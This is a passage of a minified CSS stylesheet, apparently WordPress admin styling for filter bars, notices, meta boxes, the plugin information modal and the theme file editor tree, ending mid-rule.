.spinner{float:none;margin-top:5px}#misc-publishing-actions{padding:6px 0 0}.misc-pub-section{padding:6px 10px 8px}.misc-pub-filename,.word-wrap-break-word{word-wrap:break-word}#minor-publishing-actions{padding:10px 10px 0;text-align:right}#save-post{float:left}.preview{float:right}#sticky-span{margin-left:18px}.approve,.unapproved .unapprove{display:none}.spam .approve,.trash .approve,.unapproved .approve{display:inline}td.action-links,th.action-links{text-align:right}#misc-publishing-actions .notice{margin-left:10px;margin-right:10px}.wp-filter{display:inline-block;position:relative;box-sizing:border-box;margin:12px 0 25px;padding:0 10px;width:100%;box-shadow:0 1px 1px rgba(0,0,0,.04);border:1px solid #c3c4c7;background:#fff;color:#50575e;font-size:13px}.wp-filter a{text-decoration:none}.filter-count{display:inline-block;vertical-align:middle;min-width:4em}.filter-count .count,.title-count{display:inline-block;position:relative;top:-1px;padding:4px 10px;border-radius:30px;background:#646970;color:#fff;font-size:14px;font-weight:600}.title-count{display:inline;top:-3px;margin-left:5px;margin-right:20px}.filter-items{float:left}.filter-links{display:inline-block;margin:0}.filter-links li{display:inline-block;margin:0}.filter-links li>a{display:inline-block;margin:0 10px;padding:15px 0;border-bottom:4px solid #fff;color:#646970;cursor:pointer}.filter-links .current{box-shadow:none;border-bottom:4px solid #646970;color:#1d2327}.filter-links li>a:focus,.filter-links li>a:hover,.show-filters .filter-links a.current:focus,.show-filters .filter-links a.current:hover{color:#135e96}.wp-filter .search-form{float:right;margin:10px 0}.wp-filter .search-form input[type=search]{width:280px;max-width:100%}.wp-filter .search-form select{margin:0}.plugin-install-php .wp-filter{display:flex;flex-wrap:wrap;justify-content:space-between;align-items:center}.wp-filter .search-form.search-plugins{margin-top:0}.no-js .wp-filter .search-form.search-plugins .button,.wp-filter .search-form.search-plugins .wp-filter-search,.wp-filter .search-form.search-plugins select{display:inline-block;margin-top:10px;vertical-align:top}.wp-filter .button.drawer-toggle{margin:10px 9px 0;padding:0 10px 0 6px;border-color:transparent;background-color:transparent;color:#646970;vertical-align:baseline;box-shadow:none}.wp-filter .drawer-toggle:before{content:"\f111";margin:0 5px 0 0;color:#646970;font:normal 16px/1 dashicons;vertical-align:text-bottom;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.wp-filter .button.drawer-toggle:focus,.wp-filter .button.drawer-toggle:hover,.wp-filter .drawer-toggle:focus:before,.wp-filter .drawer-toggle:hover:before{background-color:transparent;color:#135e96}.wp-filter .button.drawer-toggle:focus:active,.wp-filter .button.drawer-toggle:hover{border-color:transparent}.wp-filter .button.drawer-toggle:focus{border-color:#4f94d4}.wp-filter .button.drawer-toggle:active{background:0 0;box-shadow:none;transform:none}.wp-filter .drawer-toggle.current:before{color:#fff}.filter-drawer,.wp-filter .favorites-form{display:none;margin:0 -10px 0 -20px;padding:20px;border-top:1px solid #f0f0f1;background:#f6f7f7;overflow:hidden}.show-favorites-form .favorites-form,.show-filters .filter-drawer{display:block}.show-filters .filter-links a.current{border-bottom:none}.show-filters .wp-filter .button.drawer-toggle{border-radius:2px;background:#646970;color:#fff}.show-filters .wp-filter .drawer-toggle:focus,.show-filters .wp-filter .drawer-toggle:hover{background:#2271b1}.show-filters .wp-filter .drawer-toggle:before{color:#fff}.filter-group{box-sizing:border-box;position:relative;float:left;margin:0 1% 0 0;padding:20px 10px 10px;width:24%;background:#fff;border:1px solid #dcdcde;box-shadow:0 1px 1px rgba(0,0,0,.04)}.filter-group legend{position:absolute;top:10px;display:block;margin:0;padding:0;font-size:1em;font-weight:600}.filter-drawer .filter-group-feature{margin:28px 0 0;list-style-type:none;font-size:12px}.filter-drawer .filter-group-feature input,.filter-drawer .filter-group-feature label{line-height:1.4}.filter-drawer .filter-group-feature input{position:absolute;margin:0}.filter-group .filter-group-feature label{display:block;margin:14px 0 14px 23px}.filter-drawer .buttons{clear:both;margin-bottom:20px}.filter-drawer .filter-group+.buttons{margin-bottom:0;padding-top:20px}.filter-drawer .buttons .button span{display:inline-block;opacity:.8;font-size:12px;text-indent:10px}.wp-filter .button.clear-filters{display:none;margin-left:10px}.wp-filter .button-link.edit-filters{padding:0 5px;line-height:2.2}.filtered-by{display:none;margin:0}.filtered-by>span{font-weight:600}.filtered-by a{margin-left:10px}.filtered-by .tags{display:inline}.filtered-by .tag{margin:0 5px;padding:4px 8px;border:1px solid #dcdcde;box-shadow:0 1px 1px rgba(0,0,0,.04);background:#fff;font-size:11px}.filters-applied .filter-drawer .buttons,.filters-applied .filter-drawer br,.filters-applied .filter-group{display:none}.filters-applied .filtered-by{display:block}.filters-applied .filter-drawer{padding:20px}.error .content-filterable,.loading-content .content-filterable,.show-filters .content-filterable,.show-filters .favorites-form,.show-filters.filters-applied.loading-content .content-filterable{display:none}.show-filters.filters-applied .content-filterable{display:block}.loading-content .spinner{display:block;margin:40px auto 0;float:none}@media only screen and (max-width:1120px){.filter-drawer{border-bottom:1px solid #f0f0f1}.filter-group{margin-bottom:0;margin-top:5px;width:100%}.filter-group li{margin:10px 0}}@media only screen and (max-width:1000px){.filter-items{float:none}.wp-filter .media-toolbar-primary,.wp-filter .media-toolbar-secondary,.wp-filter .search-form{float:none;position:relative;max-width:100%}}@media only screen and (max-width:782px){.filter-group li{padding:0;width:50%}}@media only screen and (max-width:320px){.filter-count{display:none}.wp-filter .drawer-toggle{margin:10px 0}.filter-group li,.wp-filter .search-form input[type=search]{width:100%}}.notice,div.error,div.updated{background:#fff;border:1px solid #c3c4c7;border-left-width:4px;box-shadow:0 1px 1px rgba(0,0,0,.04);margin:5px 15px 2px;padding:1px 12px}div[class=update-message]{padding:.5em 12px .5em 0}.form-table td .notice p,.notice p,.notice-title,div.error p,div.updated p{margin:.5em 0;padding:2px}.error a{text-decoration:underline}.updated a{padding-bottom:2px}.notice-alt{box-shadow:none}.notice-large{padding:10px 20px}.notice-title{display:inline-block;color:#1d2327;font-size:18px}.wp-core-ui .notice.is-dismissible{padding-right:38px;position:relative}.notice-dismiss{position:absolute;top:0;right:1px;border:none;margin:0;padding:9px;background:0 0;color:#787c82;cursor:pointer}.notice-dismiss:active:before,.notice-dismiss:focus:before,.notice-dismiss:hover:before{color:#d63638}.notice-dismiss:focus{box-shadow:0 0 0 2px #2271b1;outline:2px solid transparent}.notice-success,div.updated{border-left-color:#00a32a}.notice-success.notice-alt{background-color:#edfaef}.notice-warning{border-left-color:#dba617}.notice-warning.notice-alt{background-color:#fcf9e8}.notice-error,div.error{border-left-color:#d63638}.notice-error.notice-alt{background-color:#fcf0f1}.notice-info{border-left-color:#72aee6}.notice-info.notice-alt{background-color:#f0f6fc}#plugin-information-footer .update-now:not(.button-disabled):before{color:#d63638;content:"\f463";display:inline-block;font:normal 20px/1 dashicons;margin:-3px 5px 0 -2px;speak:never;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;vertical-align:middle}#plugin-information-footer .notice{margin-top:-5px}.button.activated-message:before,.button.activating-message:before,.button.installed:before,.button.installing:before,.button.updated-message:before,.button.updating-message:before,.import-php .updating-message:before,.update-message p:before,.updated-message p:before,.updating-message p:before{display:inline-block;font:normal 20px/1 dashicons;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;vertical-align:top}.media-upload-form .notice,.media-upload-form div.error,.wrap .notice,.wrap div.error,.wrap div.updated{margin:5px 0 15px}.wrap #templateside .notice{display:block;margin:0;padding:5px 8px;font-weight:600;text-decoration:none}.wrap #templateside span.notice{margin-left:-12px}#templateside li.notice a{padding:0}.button.activating-message:before,.button.installing:before,.button.updating-message:before,.import-php .updating-message:before,.update-message p:before,.updating-message p:before{color:#d63638;content:"\f463"}.button.activating-message:before,.button.installing:before,.button.updating-message:before,.import-php .updating-message:before,.plugins .column-auto-updates .dashicons-update.spin,.theme-overlay .theme-autoupdate .dashicons-update.spin,.updating-message p:before{animation:rotation 2s infinite linear}@media (prefers-reduced-motion:reduce){.button.activating-message:before,.button.installing:before,.button.updating-message:before,.import-php .updating-message:before,.plugins .column-auto-updates .dashicons-update.spin,.theme-overlay .theme-autoupdate .dashicons-update.spin,.updating-message p:before{animation:none}}.theme-overlay .theme-autoupdate .dashicons-update.spin{margin-right:3px}.button.activated-message:before,.button.updated-message:before,.installed p:before,.updated-message p:before{color:#68de7c;content:"\f147"}.update-message.notice-error p:before{color:#d63638;content:"\f534"}.import-php .updating-message:before,.wrap .notice p:before{margin-right:6px}.import-php .updating-message:before{vertical-align:bottom}#update-nag,.update-nag{display:inline-block;line-height:1.4;padding:11px 15px;font-size:14px;margin:25px 20px 0 2px}ul#dismissed-updates{display:none}#dismissed-updates li>p{margin-top:0}#dismiss,#undismiss{margin-left:.5em}form.upgrade{margin-top:8px}form.upgrade .hint{font-style:italic;font-size:85%;margin:-.5em 0 2em}.update-php .spinner{float:none;margin:-4px 0}h2.wp-current-version{margin-bottom:.3em}p.update-last-checked{margin-top:0}p.auto-update-status{margin-top:2em;line-height:1.8}#ajax-loading,.ajax-feedback,.ajax-loading,.imgedit-wait-spin,.list-ajax-loading{visibility:hidden}#ajax-response.alignleft{margin-left:2em}.button.activated-message:before,.button.activating-message:before,.button.installed:before,.button.installing:before,.button.updated-message:before,.button.updating-message:before{margin:3px 5px 0 -2px}#plugin-information-footer .button{padding:0 14px;line-height:2.71428571;font-size:14px;vertical-align:middle;min-height:40px;margin-bottom:4px}#plugin-information-footer .button.activated-message:before,#plugin-information-footer .button.activating-message:before,#plugin-information-footer .button.installed:before,#plugin-information-footer .button.installing:before,#plugin-information-footer .button.updated-message:before,#plugin-information-footer .button.updating-message:before{margin:9px 5px 0 -2px}#plugin-information-footer .button.update-now.updating-message:before{margin:-3px 5px 0 -2px}.button-primary.activating-message:before,.button-primary.updating-message:before{color:#fff}.button-primary.activated-message:before,.button-primary.updated-message:before{color:#9ec2e6}.button.activated-message,.button.updated-message{transition-property:border,background,color;transition-duration:.05s;transition-timing-function:ease-in-out}@media aural{.button.installed:before,.button.installing:before,.update-message p:before,.wrap .notice p:before{speak:never}}#adminmenu a,#catlist a,#taglist a{text-decoration:none}#contextual-help-wrap,#screen-options-wrap{margin:0;padding:8px 20px 12px;position:relative}#contextual-help-wrap{overflow:auto;margin-left:0}#screen-meta-links{float:right;margin:0 20px 0 0}#screen-meta{display:none;margin:0 20px -1px 0;position:relative;background-color:#fff;border:1px solid #c3c4c7;border-top:none;box-shadow:0 0 0 transparent}#contextual-help-link-wrap,#screen-options-link-wrap{float:left;margin:0 0 0 6px}#screen-meta-links .screen-meta-toggle{position:relative;top:0}#screen-meta-links .show-settings{border:1px solid #c3c4c7;border-top:none;height:auto;margin-bottom:0;padding:3px 6px 3px 16px;background:#fff;border-radius:0 0 4px 4px;color:#646970;line-height:1.7;box-shadow:0 0 0 transparent;transition:box-shadow .1s linear}#screen-meta-links .show-settings:active,#screen-meta-links .show-settings:focus,#screen-meta-links .show-settings:hover{color:#2c3338}#screen-meta-links .show-settings:focus{border-color:#2271b1;box-shadow:0 0 0 1px #2271b1;outline:2px solid transparent}#screen-meta-links .show-settings:active{transform:none}#screen-meta-links .show-settings:after{right:0;content:"\f140";font:normal 20px/1 dashicons;speak:never;display:inline-block;padding:0 5px 0 0;bottom:2px;position:relative;vertical-align:bottom;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-decoration:none}#screen-meta-links .screen-meta-active:after{content:"\f142"}.toggle-arrow{background-repeat:no-repeat;background-position:top left;background-color:transparent;height:22px;line-height:22px;display:block}.toggle-arrow-active{background-position:bottom left}#contextual-help-wrap h5,#screen-options-wrap h5,#screen-options-wrap legend{margin:0;padding:8px 0;font-size:13px;font-weight:600}.metabox-prefs label{display:inline-block;padding-right:15px;line-height:2.35}#number-of-columns{display:inline-block;vertical-align:middle;line-height:30px}.metabox-prefs input[type=checkbox]{margin-top:0;margin-right:6px}.metabox-prefs label input,.metabox-prefs label input[type=checkbox]{margin:-4px 5px 0 0}.metabox-prefs .columns-prefs label input{margin:-1px 2px 0 0}.metabox-prefs label a{display:none}.metabox-prefs .screen-options input,.metabox-prefs .screen-options label{margin-top:0;margin-bottom:0;vertical-align:middle}.metabox-prefs .screen-options .screen-per-page{margin-right:15px;padding-right:0}.metabox-prefs .screen-options label{line-height:2.2;padding-right:0}.screen-options+.screen-options{margin-top:10px}.metabox-prefs .submit{margin-top:1em;padding:0}#contextual-help-wrap{padding:0}#contextual-help-columns{position:relative}#contextual-help-back{position:absolute;top:0;bottom:0;left:150px;right:170px;border:1px solid #c3c4c7;border-top:none;border-bottom:none;background:#f0f6fc}#contextual-help-wrap.no-sidebar #contextual-help-back{right:0;border-right-width:0;border-bottom-right-radius:2px}.contextual-help-tabs{float:left;width:150px;margin:0}.contextual-help-tabs ul{margin:1em 0}.contextual-help-tabs li{margin-bottom:0;list-style-type:none;border-style:solid;border-width:0 0 0 2px;border-color:transparent}.contextual-help-tabs a{display:block;padding:5px 5px 5px 12px;line-height:1.4;text-decoration:none;border:1px solid transparent;border-right:none;border-left:none}.contextual-help-tabs a:hover{color:#2c3338}.contextual-help-tabs .active{padding:0;margin:0 -1px 0 0;border-left:2px solid #72aee6;background:#f0f6fc;box-shadow:0 2px 0 rgba(0,0,0,.02),0 1px 0 rgba(0,0,0,.02)}.contextual-help-tabs .active a{border-color:#c3c4c7;color:#2c3338}.contextual-help-tabs-wrap{padding:0 20px;overflow:auto}.help-tab-content{display:none;margin:0 22px 12px 0;line-height:1.6}.help-tab-content.active{display:block}.help-tab-content ul li{list-style-type:disc;margin-left:18px}.contextual-help-sidebar{width:150px;float:right;padding:0 8px 0 12px;overflow:auto}html.wp-toolbar{padding-top:32px;box-sizing:border-box;-ms-overflow-style:scrollbar}.widefat td,.widefat th{color:#50575e}.widefat tfoot td,.widefat th,.widefat thead td{font-weight:400}.widefat tfoot tr td,.widefat tfoot tr th,.widefat thead tr td,.widefat thead tr th{color:#2c3338}.widefat td p{margin:2px 0 .8em}.widefat ol,.widefat p,.widefat ul{color:#2c3338}.widefat .column-comment p{margin:.6em 0}.widefat .column-comment ul{list-style:initial;margin-left:2em}.postbox-container{float:left}.postbox-container .meta-box-sortables{box-sizing:border-box}#wpbody-content .metabox-holder{padding-top:10px}.metabox-holder .postbox-container .meta-box-sortables{min-height:1px;position:relative}#post-body-content{width:100%;min-width:463px;float:left}#post-body.columns-2 #postbox-container-1{float:right;margin-right:-300px;width:280px}#post-body.columns-2 #side-sortables{min-height:250px}@media only screen and (max-width:799px){#wpbody-content .metabox-holder .postbox-container .empty-container{outline:0;height:0;min-height:0}}.js .postbox .hndle,.js .widget .widget-top{cursor:move}.js .postbox .hndle.is-non-sortable,.js .widget .widget-top.is-non-sortable{cursor:auto}.hndle a{font-size:12px;font-weight:400}.postbox-header{display:flex;align-items:center;justify-content:space-between;border-bottom:1px solid #c3c4c7}.postbox-header .hndle{flex-grow:1;display:flex;justify-content:space-between;align-items:center}.postbox-header .handle-actions{flex-shrink:0}.postbox .handle-order-higher,.postbox .handle-order-lower,.postbox .handlediv{width:1.62rem;height:1.62rem;margin:0;padding:0;border:0;background:0 0;cursor:pointer}.postbox .handle-order-higher,.postbox .handle-order-lower{color:#787c82;width:1.62rem}.edit-post-meta-boxes-area .postbox .handle-order-higher,.edit-post-meta-boxes-area .postbox .handle-order-lower{width:44px;height:44px;color:#1d2327}.postbox .handle-order-higher[aria-disabled=true],.postbox .handle-order-lower[aria-disabled=true]{cursor:default;color:#a7aaad}.sortable-placeholder{border:1px dashed #c3c4c7;margin-bottom:20px}.postbox,.stuffbox{margin-bottom:20px;padding:0;line-height:1}.postbox.closed{border-bottom:0}.postbox .hndle,.stuffbox .hndle{-webkit-user-select:none;user-select:none}.postbox .inside{padding:0 12px 12px;line-height:1.4;font-size:13px}.stuffbox .inside{padding:0;line-height:1.4;font-size:13px;margin-top:0}.postbox .inside{margin:11px 0;position:relative}.postbox .inside>p:last-child,.rss-widget ul li:last-child{margin-bottom:1px!important}.postbox.closed h3{border:none;box-shadow:none}.postbox table.form-table{margin-bottom:0}.postbox table.widefat{box-shadow:none}.temp-border{border:1px dotted #c3c4c7}.columns-prefs label{padding:0 10px 0 0}#adminmenu .wp-submenu li.current,#adminmenu .wp-submenu li.current a,#adminmenu .wp-submenu li.current a:hover,#comment-status-display,#dashboard_right_now .versions .b,#ed_reply_toolbar #ed_reply_strong,#pass-strength-result.short,#pass-strength-result.strong,#post-status-display,#post-visibility-display,.feature-filter .feature-name,.item-controls .item-order a,.media-item .percent,.plugins .name{font-weight:600}#wpfooter{position:absolute;bottom:0;left:0;right:0;padding:10px 20px;color:#50575e}#wpfooter p{font-size:13px;margin:0;line-height:1.55}#footer-thankyou{font-style:italic}.nav-tab{float:left;border:1px solid #c3c4c7;border-bottom:none;margin-left:.5em;padding:5px 10px;font-size:14px;line-height:1.71428571;font-weight:600;background:#dcdcde;color:#50575e;text-decoration:none;white-space:nowrap}.nav-tab-small .nav-tab,h3 .nav-tab{padding:5px 14px;font-size:12px;line-height:1.33}.nav-tab:focus,.nav-tab:hover{background-color:#fff;color:#3c434a}.nav-tab-active,.nav-tab:focus:active{box-shadow:none}.nav-tab-active{margin-bottom:-1px;color:#3c434a}.nav-tab-active,.nav-tab-active:focus,.nav-tab-active:focus:active,.nav-tab-active:hover{border-bottom:1px solid #f0f0f1;background:#f0f0f1;color:#000}.nav-tab-wrapper,.wrap h2.nav-tab-wrapper,h1.nav-tab-wrapper{border-bottom:1px solid #c3c4c7;margin:0;padding-top:9px;padding-bottom:0;line-height:inherit}.nav-tab-wrapper:not(.wp-clearfix):after{content:"";display:table;clear:both}.spinner{background:url(../images/spinner.gif) no-repeat;background-size:20px 20px;display:inline-block;visibility:hidden;float:right;vertical-align:middle;opacity:.7;width:20px;height:20px;margin:4px 10px 0}.loading-content .spinner,.spinner.is-active{visibility:visible}#template>div{margin-right:16em}#template .notice{margin-top:1em;margin-right:3%}#template .notice p{width:auto}#template .submit .spinner{float:none}.metabox-holder .postbox>h3,.metabox-holder .stuffbox>h3,.metabox-holder h2.hndle,.metabox-holder h3.hndle{font-size:14px;padding:8px 12px;margin:0;line-height:1.4}.nav-menus-php .metabox-holder h3{padding:10px 10px 11px 14px;line-height:1.5}#templateside ul li a{text-decoration:none}.plugin-install #description,.plugin-install-network #description{width:60%}table .column-rating,table .column-visible,table .vers{text-align:left}.attention,.error-message{color:#d63638;font-weight:600}body.iframe{height:98%}.lp-show-latest p{display:none}.lp-show-latest .lp-error p,.lp-show-latest p:last-child{display:block}.media-icon{width:62px;text-align:center}.media-icon img{border:1px solid #dcdcde;border:1px solid rgba(0,0,0,.07)}#howto{font-size:11px;margin:0 5px;display:block}.importers{font-size:16px;width:auto}.importers td{padding-right:14px;line-height:1.4}.importers .import-system{max-width:250px}.importers td.desc{max-width:500px}.importer-action,.importer-desc,.importer-title{display:block}.importer-title{color:#000;font-size:14px;font-weight:400;margin-bottom:.2em}.importer-action{line-height:1.55;color:#50575e;margin-bottom:1em}#post-body #post-body-content #namediv h2,#post-body #post-body-content #namediv h3{margin-top:0}.edit-comment-author{color:#1d2327;border-bottom:1px solid #f0f0f1}#namediv h2 label,#namediv h3 label{vertical-align:baseline}#namediv table{width:100%}#namediv td.first{width:10px;white-space:nowrap}#namediv input{width:100%}#namediv p{margin:10px 0}.zerosize{height:0;width:0;margin:0;border:0;padding:0;overflow:hidden;position:absolute}br.clear{height:2px;line-height:.15}.checkbox{border:none;margin:0;padding:0}fieldset{border:0;padding:0;margin:0}.post-categories{display:inline;margin:0;padding:0}.post-categories li{display:inline}div.star-holder{position:relative;height:17px;width:100px;background:url(../images/stars.png?ver=20121108) repeat-x bottom left}div.star-holder .star-rating{background:url(../images/stars.png?ver=20121108) repeat-x top left;height:17px;float:left}.star-rating{white-space:nowrap}.star-rating .star{display:inline-block;width:20px;height:20px;-webkit-font-smoothing:antialiased;font-size:20px;line-height:1;font-family:dashicons;text-decoration:inherit;font-weight:400;font-style:normal;vertical-align:top;transition:color .1s ease-in;text-align:center;color:#dba617}.star-rating .star-full:before{content:"\f155"}.star-rating .star-half:before{content:"\f459"}.rtl .star-rating .star-half{transform:rotateY(180deg)}.star-rating .star-empty:before{content:"\f154"}div.action-links{font-weight:400;margin:6px 0 0}#plugin-information{background:#fff;position:fixed;top:0;right:0;bottom:0;left:0;height:100%;padding:0}#plugin-information-scrollable{overflow:auto;-webkit-overflow-scrolling:touch;height:100%}#plugin-information-title{padding:0 26px;background:#f6f7f7;font-size:22px;font-weight:600;line-height:2.4;position:relative;height:56px}#plugin-information-title.with-banner{margin-right:0;height:250px;background-size:cover}#plugin-information-title h2{font-size:1em;font-weight:600;padding:0;margin:0;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}#plugin-information-title.with-banner h2{position:relative;font-family:"Helvetica Neue",sans-serif;display:inline-block;font-size:30px;line-height:1.68;box-sizing:border-box;max-width:100%;padding:0 15px;margin-top:174px;color:#fff;background:rgba(29,35,39,.9);text-shadow:0 1px 3px rgba(0,0,0,.4);box-shadow:0 0 30px rgba(255,255,255,.1);border-radius:8px}#plugin-information-title div.vignette{display:none}#plugin-information-title.with-banner div.vignette{position:absolute;display:block;top:0;left:0;height:250px;width:100%;background:0 0;box-shadow:inset 0 0 50px 4px rgba(0,0,0,.2),inset 0 -1px 0 rgba(0,0,0,.1)}#plugin-information-tabs{padding:0 16px;position:relative;right:0;left:0;min-height:36px;font-size:0;z-index:1;border-bottom:1px solid #dcdcde;background:#f6f7f7}#plugin-information-tabs a{position:relative;display:inline-block;padding:9px 10px;margin:0;height:18px;line-height:1.3;font-size:14px;text-decoration:none;transition:none}#plugin-information-tabs a.current{margin:0 -1px -1px;background:#fff;border:1px solid #dcdcde;border-bottom-color:#fff;padding-top:8px;color:#2c3338}#plugin-information-tabs.with-banner a.current{border-top:none;padding-top:9px}#plugin-information-tabs a:active,#plugin-information-tabs a:focus{outline:0}#plugin-information-content{overflow:hidden;background:#fff;position:relative;top:0;right:0;left:0;min-height:100%;min-height:calc(100% - 152px)}#plugin-information-content.with-banner{min-height:calc(100% - 346px)}#section-holder{position:relative;top:0;right:250px;bottom:0;left:0;margin-top:10px;margin-right:250px;padding:10px 26px 99999px;margin-bottom:-99932px}#section-holder .notice{margin:5px 0 15px}#section-holder .updated{margin:16px 0}#plugin-information .fyi{float:right;position:relative;top:0;right:0;padding:16px 16px 99999px;margin-bottom:-99932px;width:217px;border-left:1px solid #dcdcde;background:#f6f7f7;color:#646970}#plugin-information .fyi strong{color:#3c434a}#plugin-information .fyi h3{font-weight:600;text-transform:uppercase;font-size:12px;color:#646970;margin:24px 0 8px}#plugin-information .fyi h2{font-size:.9em;margin-bottom:0;margin-right:0}#plugin-information .fyi ul{padding:0;margin:0;list-style:none}#plugin-information .fyi li{margin:0 0 10px}#plugin-information .fyi-description{margin-top:0}#plugin-information .counter-container{margin:3px 0}#plugin-information .counter-label{float:left;margin-right:5px;min-width:55px}#plugin-information .counter-back{height:17px;width:92px;background-color:#dcdcde;float:left}#plugin-information .counter-bar{height:17px;background-color:#f0c33c;float:left}#plugin-information .counter-count{margin-left:5px}#plugin-information .fyi ul.contributors{margin-top:10px}#plugin-information .fyi ul.contributors li{display:inline-block;margin-right:8px;vertical-align:middle}#plugin-information .fyi ul.contributors li{display:inline-block;margin-right:8px;vertical-align:middle}#plugin-information .fyi ul.contributors li img{vertical-align:middle;margin-right:4px}#plugin-information-footer{padding:13px 16px;position:absolute;right:0;bottom:0;left:0;height:40px;border-top:1px solid #dcdcde;background:#f6f7f7}#plugin-information .section{direction:ltr}#plugin-information .section ol,#plugin-information .section ul{list-style-type:disc;margin-left:24px}#plugin-information .section,#plugin-information .section p{font-size:14px;line-height:1.7}#plugin-information #section-screenshots ol{list-style:none;margin:0}#plugin-information #section-screenshots li img{vertical-align:text-top;margin-top:16px;max-width:100%;width:auto;height:auto;box-shadow:0 1px 2px rgba(0,0,0,.3)}#plugin-information #section-screenshots li p{font-style:italic;padding-left:20px}#plugin-information pre{padding:7px;overflow:auto;border:1px solid #c3c4c7}#plugin-information blockquote{border-left:2px solid #dcdcde;color:#646970;font-style:italic;margin:1em 0;padding:0 0 0 1em}#plugin-information .review{overflow:hidden;width:100%;margin-bottom:20px;border-bottom:1px solid #dcdcde}#plugin-information .review-title-section{overflow:hidden}#plugin-information .review-title-section h4{display:inline-block;float:left;margin:0 6px 0 0}#plugin-information .reviewer-info p{clear:both;margin:0;padding-top:2px}#plugin-information .reviewer-info .avatar{float:left;margin:4px 6px 0 0}#plugin-information .reviewer-info .star-rating{float:left}#plugin-information .review-meta{float:left;margin-left:.75em}#plugin-information .review-body{float:left;width:100%}.plugin-version-author-uri{font-size:13px}.update-php .button.button-primary{margin-right:1em}@media screen and (max-width:771px){#plugin-information-title.with-banner{height:100px}#plugin-information-title.with-banner h2{margin-top:30px;font-size:20px;line-height:2;max-width:85%}#plugin-information-title.with-banner div.vignette{height:100px}#plugin-information-tabs{overflow:hidden;padding:0;height:auto}#plugin-information-tabs a.current{margin-bottom:0;border-bottom:none}#plugin-information .fyi{float:none;border:1px solid #dcdcde;position:static;width:auto;margin:26px 26px 0;padding-bottom:0}#section-holder{position:static;margin:0;padding-bottom:70px}#plugin-information .fyi h3,#plugin-information .fyi small{display:none}#plugin-information-footer{padding:12px 16px 0;height:46px}}#TB_window.plugin-details-modal{background:#fff}#TB_window.plugin-details-modal.thickbox-loading:before{content:"";display:block;width:20px;height:20px;position:absolute;left:50%;top:50%;z-index:-1;margin:-10px 0 0 -10px;background:#fff url(../images/spinner.gif) no-repeat center;background-size:20px 20px;transform:translateZ(0)}@media print,(min-resolution:120dpi){#TB_window.plugin-details-modal.thickbox-loading:before{background-image:url(../images/spinner-2x.gif)}}.plugin-details-modal #TB_title{float:left;height:1px}.plugin-details-modal #TB_ajaxWindowTitle{display:none}.plugin-details-modal #TB_closeWindowButton{left:auto;right:-30px;color:#f0f0f1}.plugin-details-modal #TB_closeWindowButton:focus,.plugin-details-modal #TB_closeWindowButton:hover{outline:0;box-shadow:none}.plugin-details-modal #TB_closeWindowButton:focus::after,.plugin-details-modal #TB_closeWindowButton:hover::after{outline:2px solid;outline-offset:-4px;border-radius:4px}.plugin-details-modal .tb-close-icon{display:none}.plugin-details-modal #TB_closeWindowButton:after{content:"\f335";font:normal 32px/29px dashicons;speak:never;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}@media screen and (max-width:830px){.plugin-details-modal #TB_closeWindowButton{right:0;top:-30px}}img{border:none}.bulk-action-notice .toggle-indicator::before,.meta-box-sortables .postbox .order-higher-indicator::before,.meta-box-sortables .postbox .order-lower-indicator::before,.meta-box-sortables .postbox .toggle-indicator::before,.privacy-text-box .toggle-indicator::before,.sidebar-name .toggle-indicator::before{content:"\f142";display:inline-block;font:normal 20px/1 dashicons;speak:never;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-decoration:none}.bulk-action-notice .bulk-action-errors-collapsed .toggle-indicator::before,.js .widgets-holder-wrap.closed .toggle-indicator::before,.meta-box-sortables .postbox.closed .handlediv .toggle-indicator::before,.privacy-text-box.closed .toggle-indicator::before{content:"\f140"}.postbox .handle-order-higher .order-higher-indicator::before{content:"\f343";color:inherit}.postbox .handle-order-lower .order-lower-indicator::before{content:"\f347";color:inherit}.postbox .handle-order-higher .order-higher-indicator::before,.postbox .handle-order-lower .order-lower-indicator::before{position:relative;top:.11rem;width:20px;height:20px}.postbox .handlediv .toggle-indicator::before{width:20px;border-radius:50%}.postbox .handlediv .toggle-indicator::before{position:relative;top:.05rem;text-indent:-1px}.rtl .postbox .handlediv .toggle-indicator::before{text-indent:1px}.bulk-action-notice .toggle-indicator::before{line-height:16px;vertical-align:top;color:#787c82}.postbox .handle-order-higher:focus,.postbox .handle-order-lower:focus,.postbox .handlediv:focus{box-shadow:inset 0 0 0 2px #2271b1;border-radius:50%;outline:2px solid transparent}.postbox .handle-order-higher:focus .order-higher-indicator::before,.postbox .handle-order-lower:focus .order-lower-indicator::before,.postbox .handlediv:focus .toggle-indicator::before{box-shadow:none;outline:1px solid transparent}#photo-add-url-div input[type=text]{width:300px}.alignleft h2{margin:0}#template textarea{font-family:Consolas,Monaco,monospace;font-size:13px;background:#f6f7f7;tab-size:4}#template .CodeMirror,#template textarea{width:100%;min-height:60vh;height:calc(100vh - 295px);border:1px solid #dcdcde;box-sizing:border-box}#templateside>h2{padding-top:6px;padding-bottom:7px;margin:0}#templateside ol,#templateside ul{margin:0;padding:0}#templateside>ul{box-sizing:border-box;margin-top:0;overflow:auto;padding:0;min-height:60vh;height:calc(100vh - 295px);background-color:#f6f7f7;border:1px solid #dcdcde;border-left:none}#templateside ul ul{padding-left:12px}#templateside>ul>li>ul[role=group]{padding-left:0}[role=treeitem][aria-expanded=false]>ul{display:none}[role=treeitem] span[aria-hidden]{display:inline;font-family:dashicons;font-size:20px;position:absolute;pointer-events:none}[role=treeitem][aria-expanded=false]>.folder-label .icon:after{content:"\f139"}[role=treeitem][aria-expanded=true]>.folder-label .icon:after{content:"\f140"}[role=treeitem] .folder-label{display:block;padding:3px 3px 3px 12px;cursor:pointer}[role=treeitem]{outline:0}[role=treeitem] .folder-label.focus,[role=treeitem] a:focus{color:#043959;box-shadow:none;outline:2px solid #2271b1;outline-offset:-2px}[role=treeitem] .folder-label.hover,[role=treeitem].hover{background-color:#f0f0f1}.tree-folder{margin:0;position:relative}[role=treeitem] li{position:relative}.tree-folder .tree-folder::after{content:"";display:block;position:absolute;left:2px;border-left:1px solid #c3c4c7;top:-13px;bottom:10px}.tree-folder>li::before{content:"";position:absolute;display:block;border-left:1px solid #c3c4c7;left:2px;top:-5px;height:18px;width:7px;border-bottom:1px solid 